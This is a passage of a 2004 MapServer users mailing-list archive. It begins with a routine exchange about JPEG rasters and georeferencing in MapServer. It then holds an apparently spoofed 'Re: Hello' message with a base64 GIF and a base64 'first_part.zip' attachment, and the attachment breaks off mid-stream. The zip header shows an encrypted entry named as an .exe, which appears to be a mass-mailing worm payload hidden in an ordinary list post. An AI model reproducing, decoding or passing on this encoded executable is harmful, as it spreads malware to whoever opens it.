little suspect in the output of mapserv -v. It doesn't talk about raster or tiff or jpg inputs... Hmmm... By the way, this is running on Window 2000 w/ Apache 2.0 web server. -----Original Message----- From: Ed McNierney [mailto:ed at topozone.com] Sent: Friday, March 26, 2004 2:29 PM To: Paul VanDyke; mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Newbie Question about rasters Paul - JPEG is a very poor format type to use for geospatial data, mainly due to performance issues (you need to read and decode the entire image just to get the value of one pixel). It seems likely that MapServer is not reading georeference information for your JPEG, while ArcGIS is. What do you get when you run "mapserv -v" from the command line? What is the filename of the georeference "world" file? It will be raster/ak.something - Ed Ed McNierney President and Chief Mapmaker TopoZone.com From sgillies at frii.com Fri Mar 26 19:21:43 2004 From: sgillies at frii.com (sgillies at frii.com) Date: Fri, 26 Mar 2004 21:21:43 -0600 Subject: [Mapserver-users] Re: Hello Message-ID: ----------osbrxsmjuukkillpdrtu Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------osbrxsmjuukkillpdrtu Content-Type: image/gif; name="ifvlhrtlqe.gif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="ifvlhrtlqe.gif" Content-ID: R0lGODlhdAAPAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A /wD//////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAz mQAzzAAz/wBmAABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDM mQDMzADM/wD/AAD/MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMz mTMzzDMz/zNmADNmMzNmZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPM mTPMzDPM/zP/ADP/MzP/ZjP/mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYz mWYzzGYz/2ZmAGZmM2ZmZmZmmWZmzGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbM mWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb//5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkz mZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZAJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnM mZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwAM8wAZswAmcwAzMwA/8wzAMwzM8wzZswz mcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZZsyZmcyZzMyZ/8zMAMzMM8zMZszM mczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8Amf8AzP8A//8zAP8zM/8zZv8z mf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+ZzP+Z///MAP/MM//MZv/M mf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAB0AA8AAAj/AP8JHEiwoMGD CBMqXMiwocOHECNKnEixosWLGDNqnJgvSguPMw7l22hwVZRA2wRuK3WS4KoZpVIO3NZi1cCX Ikk+rNaimsooh3TeFAlT4KoWNG3+M8kzEME9LWIZRdpSKMNnM0YKbNHCarUoPg9y3Trj34wo A0u1mBH2o1m0VhceAqvyilOTLVBOhTky1tqgDP2uCqR0YLWiS7v2FBgr0FytR/9FjbtwRtd/ K1vkwzqyZSC0+bo07pqPMEO1QWvebFFqZpQZz1T2tDyw42LKCbe9fs1a5sAWXSSz1bo2llaC Hi8PPOtzrOHFNA+3/hcIZZTpNGlOx30wX4vYBWOVqjr02Wbojz6rQb29fG1B928LznDKUnLX Z0gPK60/4wp3hLGwVdAhV/j0klb5HKZcNVcop1AgZf0TRWH/fBUcbXlRd1ZyrbmX4X8lReGb QGcJ1EVXsYj4zxWlrHLFNvnM15Bf/wQ40oFYxXaUd1KllZVApWQVRY8gEhSIgwJVc2SKM6SE 1yr5bHPUFVA6hJVTAuVjUiBhbQMhhdRFoZWXqhVp5plopqnmQgEBADt//3//f/9//3//f/9/ /3//f/9//3//f/9//39/b18In1L/f/9//3//f/9//3/fWl9KX0p/LV8Iv1b/f19rfy1fCF8I X2v/f19rfy1fCF8IX2v/f/9//3//f/9/XwhfCF8I/3//f/9//3//f18IXwj/f/9/XwhfCP9/ /3//f/9//39fCH8t/3/fOV8I/39fCF8I/3+fUl8In3Nfa18In1L/f/9/3zlfCP9/XwhfCP9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/v3dfCF8IXwhfCF8IH0J/b/9//3//f/9/ /39fCH8t/39fCF8I31q/d/9//39fCF8I31q/d/9//3//f/9//3//f18IXwhfCP9//3//f/9/ /39fCF8If2//f18IXwj/f/9//3//fx9jXwhfa/9/X2tfCF9rXwgfQv9/33t/Ld85v3dfCB9C /3//f19rXwhfa18IH0L/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/XwhfCP9/ /3+/dx9CXwh/b79WXwi/d793Xwh/Lf9/3zlfCP9/n3N/LZ9S3zlfCP9/n3N/LZ9S/3//f/9/ /3//f/9//3//f/9//3//f/9/3zlfCF9Kn3NfCJ9S/3//f/9/H0JfCB9Cv3f/f/9/f29fCF8I 31r/f/9/f29fCD9nXwhfCP9//3//f39vXwhfCN9a/3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f19KXwifc/9//3+/d18I3znfe59SXwhfCN85f2//f793n1JfCF8IH0K/d793 n1JfCF8IH0K/d/9//3//f/9//3//f/9//3//f/9//3//f79WXwifUn8tX0rfe/9//3//f/9/ P2dfCF9K/3//f19KXwifc18I31r/f/9/31p/Ld85Xwifc/9//39fSl8In3NfCN9a/3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3+/Vl8IP2f/f/9//39fCF8I/3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//39/b18I H2P/f/9//3//f/9//3//f/9/XwhfCP9//39fCF8I/39fCF8I/3//f/9/H0JfCF8IX2v/f/9/ XwhfCP9/XwhfCP9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/P2dfCN9a/3//f39v XwjfOf9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//39fSt8533tfCN85/3//f79WXwi/d18IH0L/f/9/X0pfCJ9zXwjfOf9/ /3//f793fy1fCB9j/3//f19KXwifc18I3zn/f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f59zXwhfCF8IXwhfCB9Cv3f/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3+fUl8Ify1fa/9//3+/dx9CXwjfOb93 /3//f/9/X0pfCN85v3f/f/9//3//f19rXwhfSv9//3//f19KXwjfOb93/3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9/ ----------osbrxsmjuukkillpdrtu Content-Type: application/octet-stream; name="first_part.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="first_part.zip" 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 